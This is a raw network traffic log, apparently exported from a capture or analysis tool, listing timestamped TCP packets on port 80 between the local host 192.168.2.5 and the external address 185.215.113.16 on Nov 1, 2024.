Nov 1, 2024 05:53:15.063915968 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063926935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063936949 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063944101 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063947916 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063960075 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063967943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063971996 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063982964 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063987970 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063993931 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.064006090 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.064006090 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.064019918 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.064047098 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.064623117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.064632893 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.064641953 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.064654112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.064673901 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.064687014 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100392103 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100441933 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100452900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100465059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100476027 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100486040 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100502014 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100516081 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100538969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100584030 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100647926 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100658894 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100671053 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100692987 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100719929 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100788116 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100799084 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100830078 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100858927 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100883961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100893974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100903034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.100934982 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.100944042 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101063013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101078987 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101090908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101102114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101105928 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101114988 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101130962 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101161003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101295948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101311922 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101321936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101334095 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101353884 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101382971 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101546049 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101557970 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101568937 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101579905 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101592064 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101633072 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101675034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101720095 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.101778984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101789951 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101794958 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101800919 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101805925 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101811886 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.101888895 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102310896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102323055 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102333069 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102344036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102354050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102360964 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102365017 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102375984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102384090 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102385998 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102396965 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102401018 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102417946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102444887 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102596045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102606058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102616072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102627039 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102636099 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102646112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102647066 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102657080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102658033 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102668047 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102679968 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102690935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102690935 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102703094 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.102705956 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102730989 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.102742910 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103023052 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103034973 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103044987 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103056908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103068113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103070021 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103084087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103095055 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103116989 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103153944 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103164911 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103176117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103187084 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103192091 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103197098 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103208065 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103210926 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103219032 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103229046 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103239059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103239059 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103250027 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103255987 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103266954 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103269100 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103277922 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103287935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103293896 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103298903 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.103327036 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.103354931 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104121923 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104135990 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104145050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104156971 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104171991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104173899 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104182959 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104192019 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104197979 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104202986 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104214907 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104218960 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104226112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104238033 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104239941 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104249001 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104258060 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104259968 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104270935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104284048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104284048 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104293108 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104314089 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104321003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104351044 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104667902 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104677916 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104718924 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.104760885 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104770899 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.104805946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178191900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178210974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178220987 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178291082 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178294897 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178333044 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178389072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178400993 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178420067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178431034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178435087 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178452015 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178468943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178623915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178634882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178644896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178656101 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178673029 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178689957 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178812981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178824902 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178834915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178847075 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178863049 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178879976 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.178946972 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.178987980 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179028034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179039001 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179049969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179064035 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179070950 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179078102 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179100990 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179167986 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179373026 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179384947 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179394960 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179404974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179418087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179419994 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179428101 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179430008 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179441929 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179454088 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179457903 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179466009 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179492950 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179505110 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179846048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179857969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179867983 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179878950 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179888964 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179896116 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179902077 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.179923058 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.179933071 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180310965 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180321932 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180331945 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180345058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180356026 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180356979 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180366039 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180377007 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180382967 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180392981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180397034 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180404902 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180409908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180421114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180428982 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180433989 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180439949 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180445910 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180460930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180473089 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180474997 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180485010 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180486917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.180510044 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180532932 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.180998087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.181032896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.181049109 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.181070089 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.181126118 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.181471109 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.217430115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217468977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217480898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217500925 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.217510939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217518091 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.217555046 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.217587948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217601061 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217623949 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.217642069 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.217775106 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217787027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217797041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217808962 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217820883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217825890 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.217854023 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.217945099 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217955112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.217989922 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218056917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218065977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218075991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218087912 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218097925 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218099117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218120098 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218147993 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218266010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218277931 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218286991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218307972 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218331099 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218415976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218426943 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218437910 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218449116 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218458891 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218461037 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218470097 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218477011 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218480110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218491077 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218501091 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218529940 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218709946 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218720913 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218732119 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218744040 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218751907 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218772888 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218791008 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218818903 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218827963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218837976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218848944 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218858957 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218864918 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218869925 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.218878984 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218900919 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.218926907 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.219063997 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219074965 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219084978 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219095945 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219104052 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.219106913 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219118118 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219125032 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.219129086 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219141960 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219152927 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219155073 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.219172955 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.219193935 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.219352961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219363928 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219377995 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219400883 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.219424009 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.219507933 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.219518900 CET	80	49987	185.215.113.16	192.168.2.5
